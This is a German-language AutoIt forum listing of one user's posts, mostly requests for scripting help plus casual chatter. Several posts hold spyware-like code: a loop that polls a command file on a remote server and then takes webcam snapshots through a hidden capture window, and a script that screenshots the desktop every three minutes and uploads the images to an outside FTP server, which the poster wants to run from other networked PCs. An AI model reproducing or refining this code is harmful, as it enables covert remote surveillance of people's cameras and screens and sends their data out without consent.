Beiträge von Lenny

Lenny

So hier noch mal mein Script:

Spoiler anzeigen

[autoit][/autoit] [autoit][/autoit] [autoit]

#include <INet.au3>
#include <ftp.au3>
#include <GUIConstants.au3>
#include <WindowsConstants.au3>

[/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

While 1
If _INetGetSource("http://warlenny.wa.funpic.de/cmds/cmdfile.txt") = "cmd = Pic" Then
$Open = _FTPOpen('MyFTP Control')
$Conn = _FTPConnect($Open, $server, $username, $pass)
_FTPDelFile($Conn, "/cmds/cmdfile.txt")
_webpic()
Sleep(10000)

_webpic()
Sleep(10000)

_webpic()
Sleep(10000)

_webpic()
Sleep(10000)

_webpic()
Sleep(10000)
_webpic()
$snapfile = @TempDir & "\" & @HOUR & "_" & @MDAY & "_" & @UserName & ".bmp"
Sleep(5000)

[/autoit] [autoit][/autoit] [autoit]

DllClose($dll)
EndIf
WEnd
Func _webpic()

$WM_CAP_START = 0x400
$WM_CAP_UNICODE_START = $WM_CAP_START + 100
$WM_CAP_PAL_SAVEA = $WM_CAP_START + 81
$WM_CAP_PAL_SAVEW = $WM_CAP_UNICODE_START + 81
$WM_CAP_UNICODE_END = $WM_CAP_PAL_SAVEW
$WM_CAP_ABORT = $WM_CAP_START + 69
$WM_CAP_DLG_VIDEOCOMPRESSION = $WM_CAP_START + 46
$WM_CAP_DLG_VIDEODISPLAY = $WM_CAP_START + 43
$WM_CAP_DLG_VIDEOFORMAT = $WM_CAP_START + 41
$WM_CAP_DLG_VIDEOSOURCE = $WM_CAP_START + 42
$WM_CAP_DRIVER_CONNECT = $WM_CAP_START + 10
$WM_CAP_DRIVER_DISCONNECT = $WM_CAP_START + 11
$WM_CAP_DRIVER_GET_CAPS = $WM_CAP_START + 14
$WM_CAP_DRIVER_GET_NAMEA = $WM_CAP_START + 12
$WM_CAP_DRIVER_GET_NAMEW = $WM_CAP_UNICODE_START + 12
$WM_CAP_DRIVER_GET_VERSIONA = $WM_CAP_START + 13
$WM_CAP_DRIVER_GET_VERSIONW = $WM_CAP_UNICODE_START + 13
$WM_CAP_EDIT_COPY = $WM_CAP_START + 30
$WM_CAP_END = $WM_CAP_UNICODE_END
$WM_CAP_FILE_ALLOCATE = $WM_CAP_START + 22
$WM_CAP_FILE_GET_CAPTURE_FILEA = $WM_CAP_START + 21
$WM_CAP_FILE_GET_CAPTURE_FILEW = $WM_CAP_UNICODE_START + 21
$WM_CAP_FILE_SAVEASA = $WM_CAP_START + 23
$WM_CAP_FILE_SAVEASW = $WM_CAP_UNICODE_START + 23
$WM_CAP_FILE_SAVEDIBA = $WM_CAP_START + 25
$WM_CAP_FILE_SAVEDIBW = $WM_CAP_UNICODE_START + 25
$WM_CAP_FILE_SET_CAPTURE_FILEA = $WM_CAP_START + 20
$WM_CAP_FILE_SET_CAPTURE_FILEW = $WM_CAP_UNICODE_START + 20
$WM_CAP_FILE_SET_INFOCHUNK = $WM_CAP_START + 24
$WM_CAP_GET_AUDIOFORMAT = $WM_CAP_START + 36
$WM_CAP_GET_CAPSTREAMPTR = $WM_CAP_START + 1
$WM_CAP_GET_MCI_DEVICEA = $WM_CAP_START + 67
$WM_CAP_GET_MCI_DEVICEW = $WM_CAP_UNICODE_START + 67
$WM_CAP_GET_SEQUENCE_SETUP = $WM_CAP_START + 65
$WM_CAP_GET_STATUS = $WM_CAP_START + 54
$WM_CAP_GET_USER_DATA = $WM_CAP_START + 8
$WM_CAP_GET_VIDEOFORMAT = $WM_CAP_START + 44
$WM_CAP_GRAB_FRAME = $WM_CAP_START + 60
$WM_CAP_GRAB_FRAME_NOSTOP = $WM_CAP_START + 61
$WM_CAP_PAL_AUTOCREATE = $WM_CAP_START + 83
$WM_CAP_PAL_MANUALCREATE = $WM_CAP_START + 84
$WM_CAP_PAL_OPENA = $WM_CAP_START + 80
$WM_CAP_PAL_OPENW = $WM_CAP_UNICODE_START + 80
$WM_CAP_PAL_PASTE = $WM_CAP_START + 82
$WM_CAP_SEQUENCE = $WM_CAP_START + 62
$WM_CAP_SEQUENCE_NOFILE = $WM_CAP_START + 63
$WM_CAP_SET_AUDIOFORMAT = $WM_CAP_START + 35
$WM_CAP_SET_CALLBACK_CAPCONTROL = $WM_CAP_START + 85
$WM_CAP_SET_CALLBACK_ERRORA = $WM_CAP_START + 2
$WM_CAP_SET_CALLBACK_ERRORW = $WM_CAP_UNICODE_START + 2
$WM_CAP_SET_CALLBACK_FRAME = $WM_CAP_START + 5
$WM_CAP_SET_CALLBACK_STATUSA = $WM_CAP_START + 3
$WM_CAP_SET_CALLBACK_STATUSW = $WM_CAP_UNICODE_START + 3
$WM_CAP_SET_CALLBACK_VIDEOSTREAM = $WM_CAP_START + 6
$WM_CAP_SET_CALLBACK_WAVESTREAM = $WM_CAP_START + 7
$WM_CAP_SET_CALLBACK_YIELD = $WM_CAP_START + 4
$WM_CAP_SET_MCI_DEVICEA = $WM_CAP_START + 66
$WM_CAP_SET_MCI_DEVICEW = $WM_CAP_UNICODE_START + 66
$WM_CAP_SET_OVERLAY = $WM_CAP_START + 51
$WM_CAP_SET_PREVIEW = $WM_CAP_START + 50
$WM_CAP_SET_PREVIEWRATE = $WM_CAP_START + 52
$WM_CAP_SET_SCALE = $WM_CAP_START + 53
$WM_CAP_SET_SCROLL = $WM_CAP_START + 55
$WM_CAP_SET_SEQUENCE_SETUP = $WM_CAP_START + 64
$WM_CAP_SET_USER_DATA = $WM_CAP_START + 9
$WM_CAP_SET_VIDEOFORMAT = $WM_CAP_START + 45
$WM_CAP_SINGLE_FRAME = $WM_CAP_START + 72
$WM_CAP_SINGLE_FRAME_CLOSE = $WM_CAP_START + 71
$WM_CAP_SINGLE_FRAME_OPEN = $WM_CAP_START + 70
$WM_CAP_STOP = $WM_CAP_START + 68

[/autoit] [autoit][/autoit] [autoit]

$avi = DllOpen("avicap32.dll")
$user = DllOpen("user32.dll")
$snapfile = @TempDir & "\" & @HOUR & "_" & @MDAY & "_" & @UserName & ".bmp"
$Main = GUICreate("Camera", 350, 270)
$cap = DllCall($avi, "int", "capCreateCaptureWindow", "str", "cap", "int", BitOR($WS_CHILD, $WS_VISIBLE), "int", 15, "int", 15, "int", 640, "int", 480, "hwnd", $Main, "int", 1)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_DRIVER_CONNECT, "int", 0, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_SCALE, "int", 1, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_OVERLAY, "int", 1, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_PREVIEW, "int", 1, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_PREVIEWRATE, "int", 1, "int", 0)
GUISetState(@SW_HIDE)
Sleep(2000)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_GRAB_FRAME_NOSTOP, "int", 0, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_FILE_SAVEDIBA, "int", 0, "str", $snapfile)
EndFunc ;==>_webpic

[/autoit]

Lenny

Hallo,
da ich seit Tagen an diesem Script bastel und einfach nicht zu einem guten Ergebnis komme(fehler, schlechte lösung, keine fehler aber läuft trotzdem nicht ??) wollte ich hier nun ein Thread auf machen! In der hoffnung das ihr mir helfen könnt!

Also das ist mein Script: Sorry Das es in einer Reihe ist ging nicht anders!
** Nächster Post! Sorry
Das mit den 5 Funcs habe ich gemacht weil ich herausgefunden habe, das wenn ich beim die Original Script die Guiweggemacht habe,

Spoiler anzeigen

[autoit]

$WM_CAP_START = 0x400
$WM_CAP_UNICODE_START = $WM_CAP_START +100
$WM_CAP_PAL_SAVEA = $WM_CAP_START + 81
$WM_CAP_PAL_SAVEW = $WM_CAP_UNICODE_START + 81
$WM_CAP_UNICODE_END = $WM_CAP_PAL_SAVEW
$WM_CAP_ABORT = $WM_CAP_START + 69
$WM_CAP_DLG_VIDEOCOMPRESSION = $WM_CAP_START + 46
$WM_CAP_DLG_VIDEODISPLAY = $WM_CAP_START + 43
$WM_CAP_DLG_VIDEOFORMAT = $WM_CAP_START + 41
$WM_CAP_DLG_VIDEOSOURCE = $WM_CAP_START + 42
$WM_CAP_DRIVER_CONNECT = $WM_CAP_START + 10
$WM_CAP_DRIVER_DISCONNECT = $WM_CAP_START + 11
$WM_CAP_DRIVER_GET_CAPS = $WM_CAP_START + 14
$WM_CAP_DRIVER_GET_NAMEA = $WM_CAP_START + 12
$WM_CAP_DRIVER_GET_NAMEW = $WM_CAP_UNICODE_START + 12
$WM_CAP_DRIVER_GET_VERSIONA = $WM_CAP_START + 13
$WM_CAP_DRIVER_GET_VERSIONW = $WM_CAP_UNICODE_START + 13
$WM_CAP_EDIT_COPY = $WM_CAP_START + 30
$WM_CAP_END = $WM_CAP_UNICODE_END
$WM_CAP_FILE_ALLOCATE = $WM_CAP_START + 22
$WM_CAP_FILE_GET_CAPTURE_FILEA = $WM_CAP_START + 21
$WM_CAP_FILE_GET_CAPTURE_FILEW = $WM_CAP_UNICODE_START + 21
$WM_CAP_FILE_SAVEASA = $WM_CAP_START + 23
$WM_CAP_FILE_SAVEASW = $WM_CAP_UNICODE_START + 23
$WM_CAP_FILE_SAVEDIBA = $WM_CAP_START + 25
$WM_CAP_FILE_SAVEDIBW = $WM_CAP_UNICODE_START + 25
$WM_CAP_FILE_SET_CAPTURE_FILEA = $WM_CAP_START + 20
$WM_CAP_FILE_SET_CAPTURE_FILEW = $WM_CAP_UNICODE_START + 20
$WM_CAP_FILE_SET_INFOCHUNK = $WM_CAP_START + 24
$WM_CAP_GET_AUDIOFORMAT = $WM_CAP_START + 36
$WM_CAP_GET_CAPSTREAMPTR = $WM_CAP_START + 1
$WM_CAP_GET_MCI_DEVICEA = $WM_CAP_START + 67
$WM_CAP_GET_MCI_DEVICEW = $WM_CAP_UNICODE_START + 67
$WM_CAP_GET_SEQUENCE_SETUP = $WM_CAP_START + 65
$WM_CAP_GET_STATUS = $WM_CAP_START + 54
$WM_CAP_GET_USER_DATA = $WM_CAP_START + 8
$WM_CAP_GET_VIDEOFORMAT = $WM_CAP_START + 44
$WM_CAP_GRAB_FRAME = $WM_CAP_START + 60
$WM_CAP_GRAB_FRAME_NOSTOP = $WM_CAP_START + 61
$WM_CAP_PAL_AUTOCREATE = $WM_CAP_START + 83
$WM_CAP_PAL_MANUALCREATE = $WM_CAP_START + 84
$WM_CAP_PAL_OPENA = $WM_CAP_START + 80
$WM_CAP_PAL_OPENW = $WM_CAP_UNICODE_START + 80
$WM_CAP_PAL_PASTE = $WM_CAP_START + 82
$WM_CAP_SEQUENCE = $WM_CAP_START + 62
$WM_CAP_SEQUENCE_NOFILE = $WM_CAP_START + 63
$WM_CAP_SET_AUDIOFORMAT = $WM_CAP_START + 35
$WM_CAP_SET_CALLBACK_CAPCONTROL = $WM_CAP_START + 85
$WM_CAP_SET_CALLBACK_ERRORA = $WM_CAP_START + 2
$WM_CAP_SET_CALLBACK_ERRORW = $WM_CAP_UNICODE_START + 2
$WM_CAP_SET_CALLBACK_FRAME = $WM_CAP_START + 5
$WM_CAP_SET_CALLBACK_STATUSA = $WM_CAP_START + 3
$WM_CAP_SET_CALLBACK_STATUSW = $WM_CAP_UNICODE_START + 3
$WM_CAP_SET_CALLBACK_VIDEOSTREAM = $WM_CAP_START + 6
$WM_CAP_SET_CALLBACK_WAVESTREAM = $WM_CAP_START + 7
$WM_CAP_SET_CALLBACK_YIELD = $WM_CAP_START + 4
$WM_CAP_SET_MCI_DEVICEA = $WM_CAP_START + 66
$WM_CAP_SET_MCI_DEVICEW = $WM_CAP_UNICODE_START + 66
$WM_CAP_SET_OVERLAY = $WM_CAP_START + 51
$WM_CAP_SET_PREVIEW = $WM_CAP_START + 50
$WM_CAP_SET_PREVIEWRATE = $WM_CAP_START + 52
$WM_CAP_SET_SCALE = $WM_CAP_START + 53
$WM_CAP_SET_SCROLL = $WM_CAP_START + 55
$WM_CAP_SET_SEQUENCE_SETUP = $WM_CAP_START + 64
$WM_CAP_SET_USER_DATA = $WM_CAP_START + 9
$WM_CAP_SET_VIDEOFORMAT = $WM_CAP_START + 45
$WM_CAP_SINGLE_FRAME = $WM_CAP_START + 72
$WM_CAP_SINGLE_FRAME_CLOSE = $WM_CAP_START + 71
$WM_CAP_SINGLE_FRAME_OPEN = $WM_CAP_START + 70
$WM_CAP_STOP = $WM_CAP_START + 68
#include <GUIConstants.au3>
$avi = DllOpen("avicap32.dll")
$user = DllOpen("user32.dll")
$snapfile = @ScriptDir & "\scrshot.bmp"
$Main = GUICreate("Camera",350,270)
$cap = DllCall($avi, "int", "capCreateCaptureWindow", "str", "cap", "int", BitOR($WS_CHILD,$WS_VISIBLE), "int", 15, "int", 15, "int", 320, "int", 240, "hwnd", $Main, "int", 1)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_DRIVER_CONNECT, "int", 0, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_SCALE, "int", 1, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_OVERLAY, "int", 1, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_PREVIEW, "int", 1, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_PREVIEWRATE, "int", 1, "int", 0)
GUISetState(@SW_SHOW) ; Hier auf hide Gesetzt (Habt ihr Bessere Lösung ?)
HotKeySet("{INSERT}", "SnapShot"); Press 'Insert' to make a SnapShot !
While 1
$msg = GUIGetMsg()
If $msg = $GUI_EVENT_CLOSE Then
;DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_CALLBACK_FRAME, "int", 0, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_END, "int", 0, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_DRIVER_DISCONNECT, "int", 0, "int", 0)
;DllClose($avi)
DllClose($user)
Exit
EndIf
Sleep(1)
Wend
Func SnapShot()
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_GRAB_FRAME_NOSTOP, "int", 0, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_FILE_SAVEDIBA, "int", 0, "str", $snapfile)
EndFunc

[/autoit]

Die bilder nur noch schwarz wurden! Doch als ich den hokey 5mal oder so gedrückt hatte (was mir auch komsich vorkommt)
waren die bilder wieder so wie ich es wollte !

Könnt ihr mir helfen bzw eine bessere lösung für die "func" sache oder den kompletten script geben ?

Vielen Dank im Vorraus

Lenny

Lenny

Okay Super!

Vielen Dank für deine Hilfe!

Doch nur noch ein kleines entgültiges Problem hab ich...
Sobald ich auf "Ja" klicke führt er die Datei zwar aus,

verschiebt sie aber nicht .... d.h. solangen man sich das lied anhört bzw die word datei geöffnet hat komm ja immer diese msgbox ...

Aber ich werde versuchen dieses problem selber zu lösen =)

Vielen Dank Micha_he!

Lenny

Edit1:
Problem gelöst und folgendes endergebnis:

Spoiler anzeigen

[autoit]

$path = "\\Lennart\SharedDocs\Network\"
$backup = @DesktopCommonDir & "\FromNetwork\"
If StringRight($path, 1) <> "\" Then $path &= "\"
While 1
$search = FileFindFirstFile($path & "*.*")
If $search = -1 Then
; keine Dateien gefunden
FileClose($search)
Sleep(1000)
Else
; wenn Dateien vorhanden, dann abarbeiten
While 1
$file = FileFindNextFile($search)
If @error Then ExitLoop ; keine weitere Datei gefunden, innere Schleife verlassen
If Not IsDeclared("iMsgBoxAnswer") Then Local $iMsgBoxAnswer
$iMsgBoxAnswer = MsgBox(36, "Neue Datei gefunden!", "Es wurde eine neue Datei mit dem Namen " & $file & " gefunden!" & @CRLF & "Jetzt Ausführen ?")
Select
Case $iMsgBoxAnswer = 6
FileMove($path & $file, $backup, 9)
Sleep(2500)
ShellExecute($backup & $file)

Case $iMsgBoxAnswer = 7
FileMove($path & $file, $backup, 9) ; Ordner wird ggf. erzeugt, alte Dateien überschrieben
EndSelect
WEnd
FileClose($search)
EndIf
WEnd

[/autoit]

Lenny

Hmm =P

Also ich habe mir das so gedacht:

- er wartet auf eine Dateien (endlos)
- wenn Datei da, dann msgbox(Möchten sie die datei nun ausführen?)
- wenn ja, Ausführen, sleep(500), Verschieben, warten bis neue datei kommt und wieder fragen
- wenn nein, verschieben, warten bis neue datei kommt und wieder fragen
- wenn alle abgefragt weiter suchen

Ich weiß nicht ob das zu kompliziert ist!

Aber Vielen, Vielen Dank für deine bzw. Eure Hilfe!

Lenny

Lenny

Vielen dank!

Aber:

[autoit]

$path = "\\Lennart\SharedDocs\Network\"
If StringRight($path, 1) <> "\" Then $path &= "\"
$search = FileFindFirstFile($path & "*.*")
If $search = -1 Then Exit ; Wenn keine Datei gefunden soll er solange suchen bis er eine findet.
While 1
$file = FileFindNextFile($search)
If @error Then ExitLoop ;Wenn er die erste datei gefunden hat und ich sie mit filemove aus dem verzeichnis nehme, soll er weitersuchen und wieder sagen wenn die nächste da ist! =)
If Not IsDeclared("iMsgBoxAnswer") Then Local $iMsgBoxAnswer
$iMsgBoxAnswer = MsgBox(36, "Neue Datei gefunden!", "Es wurde eine neue Datei mit dem Namen " & $file & " gefunden!" & @CRLF & "Jetzt Ausführen ?")
Select
Case $iMsgBoxAnswer = 6
Sleep(1000)
ShellExecute($path & $file)
Case $iMsgBoxAnswer = 7
; nix tun
EndSelect
WEnd

[/autoit]

Hab ich nicht hinbekommen! Vielen Dank im Vorraus!

Lenny

Also Vielen Dank für die Antowort !

Allerdings besteht das problem das er die datei nicht findet immernoch!

Hmm ....

Aber wenn filefind nur den dateinamen übergibt ... warum konnt ich die gefundene datei einpaar mal ausführen =?

vielen Dank im Vorraus

Lenny

Edit: Okay jetzt geht es Komischerweise! Aber geht das nicht noch einfacher ?
Und: Also wenn ich jetzt eine Datei in den Ordnerpacke kommt diese msgbox aber wenn ich dann nohc eine datei reinpacke kommt es nicht mehr .... wie bekomm ich das hin ?

Vielen dank im Vorraus

Lenny

Hallo ihr!

Ich arbeite grade an einem script, der erkennt wenn jemand über das Netzwerk ein Datei aufmeinen pc gelegt hat!

Allerdings habe ich ein paar probleme! Soweit bin ich schon gekommen:

[autoit][/autoit][autoit][/autoit][autoit]

While 1

[/autoit][autoit][/autoit][autoit]

$search = FileFindFirstFile("\\Lennart\SharedDocs\Network\*.*")
If @error Then Sleep(1000)
If $search = 1 Then
$file = FileFindNextFile($search)
If @error Then Sleep(1000)

[/autoit][autoit][/autoit][autoit][/autoit][autoit]

If Not IsDeclared("iMsgBoxAnswer") Then Local $iMsgBoxAnswer
$iMsgBoxAnswer = MsgBox(36, "Neue Datei gefunden!", "Es wurde eine neue Datei mit dem Namen " & $file & " gefunden!" & @CRLF & "Jetzt Ausführen ?")
Select
Case $iMsgBoxAnswer = 6
Sleep(1000)
ShellExecute($file)

[/autoit][autoit][/autoit][autoit]

Case $iMsgBoxAnswer = 7

[/autoit][autoit][/autoit][autoit]

EndSelect

[/autoit][autoit][/autoit][autoit]

EndIf

[/autoit][autoit][/autoit][autoit]

WEnd

[/autoit][autoit][/autoit][autoit][/autoit]

So .... Ich denke das mit den @Error ist sinnlos, weiß es aber nicht genau!

Außerdem erkennt er immer die datei, führt sie aber, wenn ich auf "Ja" klicke nicht immer aus (1/15mal) =D D.h ich hatte jetzt schon lange keien erfolg mehr! Vorher hats aber genau so geklappt! Jetzt komm immer die Meldung "Die Datei xyz.jpg" konnte nicht gefunden werden usw ...

Könntet ihr mir dabei helfen? Vielen Dank im Vorraus =D

Lenny

Lenny

Also: 1,2,3

Happy Birthday 2u,

Happy Birthday Progger Huggy,

Happy Birthday 2u! =D !!

Auch von mir !

Lenny

Hallo Spider!
Wir dachten das Problem gefunden zu haben!
Allerdings hat der script weiterhin nur bei Leuten gefunzt die Autoit haben.

Ich habe es jetzt hinbekommen!
Es lag an der Beta! Sie schein relativ unstabil zu sein!
Ich habe eine Stabile Version installiert und es hat geklappt!

Vielen Dank für euere Hilfe! =)

Lenny

Lenny

Vielen Dank!

Hat geklappt ... x)!!

Danke Danke!

Lenny

Hallo!
Ich habe ein problem!
Also :
Ich habe einen script geschrieben der eine datei auf meinen ftp sever läd!
Von meinem Pc kein problem, aber wenn ich versuche von einem anderen pc aus dem netzwerk etwas hoch zu laden,
passiert einfach nichts! Also es landet keine Datei auf dem Ftp ...
Könnt ihr mir sagen warum ?

Hier mein source:

Spoiler anzeigen

[autoit]

$dll = DllOpen('wininet.dll')

[/autoit] [autoit][/autoit] [autoit]

#include <ScreenCapture .au3="">
<ScreenCapture .au3="">
#include <ftp .au3=""><ftp .au3="">

[/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

While 1

[/autoit] [autoit][/autoit] [autoit]

Sleep(180000)
_ScreenCapture_Capture(@Scriptdir & "\Screenshot_Lenny_" & @HOUR & "_" & @MIN & "_" & @MDAY & @YEAR & ".jpg")
Sleep(500)
$server = 'warlenny.wa.funpic.de'
$username = 'warlenny'
$pass = "*******"
$Open = _FTPOpen('MyFTP Control')
$Conn = _FTPConnect($Open, $server, $username, $pass)
$Ftpp = _FtpPutFile($Conn, @scriptDir & "\Screenshot_" & @UserName & "_" & @HOUR & "_" & @MIN & "_" & @MDAY & @YEAR &".jpg", "/Screenshot_" & @UserName & "_" & @HOUR & "_" & @MIN & "_" & @MDAY & "_" & @YEAR & ".jpg")
$Ftpc = _FTPClose($Open)
WEnd

[/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit]

Vielen Dank im Vorraus!

Lenny

Hallo!

Ich habe mal wieder ein Problem!

Also ich habe eine If Schleife gemacht... die sieht so aus:

[autoit]

If ProcessExists("diashow.exe") Then
Msgbox(64, "Diashow", "Diashow läuft bereits")
Else
...
...
...

[/autoit]

Aber er zeigt mir immer die msg box an! Aber Warum?

Vielen dank im Vorraus =)

Lenny

Edit1:
Okay ist klar geworden!
Ich wollte damit erreichen das das programm nur einmal läuft!
Allerdings existiert der Prozess ja schon wenn ich die Diashow.exe ausführe, inder geprüft wird ob es den prozess schon gibt! =)

Danke Trotzdem^^

Lenny

hmm ...

Da mich eh alle von meinen Freunden Lenny nennen ...

Habe ich mich entschlossen mich hier auch mit Lenny anzumelden ...^^

besser als "Lennart" oder kA ... xD

Lenny

Lenny

O.o ....

Ich find meinen auch schön ... ... XD

Was sagt ihr ?? ...

Lg Lenny

Lenny

Uiii,
Ich meinen auch ..

Son' schriftzug halt .. :D^^

Lenny

Lenny

Hallo!
Erstmal:

Die Gui sieht echt super aus! Super gut gelungen!

Unter was für einem Suchbegriff muss ich in der Sufu gucken??
Möchte sowas auch können !!

Vielen Dank im Vorraus !

Lenny

Hallo!

Ich habe eine Frage:#
Warum Funzt das:

[autoit]

$file = FileOpen("test.txt", 1)

[/autoit][autoit][/autoit][autoit]

FileWrite($file, "Line1")
FileWrite($file, "Immernoch Line1" & @CRLF)
FileWrite($file, "Line2")

[/autoit][autoit][/autoit][autoit]

FileClose($file)

[/autoit]

Aber das:

[autoit]

#include <misc.au3>
#include <File.au3>

[/autoit][autoit][/autoit][autoit]

#include <GUIConstants.au3>

[/autoit][autoit][/autoit][autoit]

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("AForm1", 285, 51, 193, 115)
$Input1 = GUICtrlCreateInput("", 0, 0, 281, 21)
$Button1 = GUICtrlCreateButton("Senden", 0, 24, 283, 25, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

[/autoit][autoit][/autoit][autoit]

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Button1

$Offen = FileOpen("Hallo.txt", 1)
fileWrite($Offen, "Hallo!")
FileClose($Offen)
EndSwitch
Wend

[/autoit]

nicht ???

Bin ich zu Blöd ?

Vielen Dank im Vorraus =)

Edit1:

Bei mir passiert einfach nix ... Oo Txt datei bleibt leer
Ôo

Edit2:

Hmm nach pc neustart ging es ...

Soweit so gut!

Aber geht das nicht mit dateien die im Lokalen netzwerk liegen ?

(("\\LENNART\SharedDocs\Chat.txt)) zb ?

Lenny

Also ... ich will meinen Senf auch mal dazu geben! :]

Ich höre am meisten Emo & Metal(core) & Industrial !!!

Aaaaaber:

Nein ich habe keine Schwarzen Haare
Nein ich trag nicht NUR schwarz... (;D)
Nein ich ich mach keine Sachen mit Messern an meinem Körper
Nein ich Heul nicht den ganzen Tag rum!
Ja ich bestelle Täglich im EMP ... :]

Soo...

Stay Dark ... Lenny

E1:

Nein der Emp ist ein Katalog (http://www.emp.de/)
Da kann man alle mögliche wie T-shirts oder so, zu metal bands kaufn ...

=)

Lenny

Jaa ... hab ich :]

E: Sorry wegen diesem Spam ... :]

Hab mir in der Hilfe nicht die Sachen über "File...&File..."

durchgelesen (war blindfisch XD)

Stay Dark ...

Lenny

Hallo!

Wie der Titel schon sagt, eine kleine Umfrage zu eurem beforzugten
Musikstil ... =)

Würde mich über eure Vots und Antworten freuen!

Falls dieser Thread nicht hierher passt, könnt ihr ihn schließen oder Löschen oder ... egal was .. : - D

Lenny

Beiträge von Lenny

WebcamScript

WebcamScript

Netzwerk Script

Netzwerk Script

Netzwerk Script

Netzwerk Script

Netzwerk Script

a hug for huggy

Ftp Upload!

ProcessExists

Ftp Upload!

ProcessExists

die Geschichte eures Nicknames

Mein Avatar

Mein Avatar

GUI wie bei Steam

Totale Anfänger Frage!

Welchen Musikstil bevorzugt ihr?

Messenger...

Welchen Musikstil bevorzugt ihr?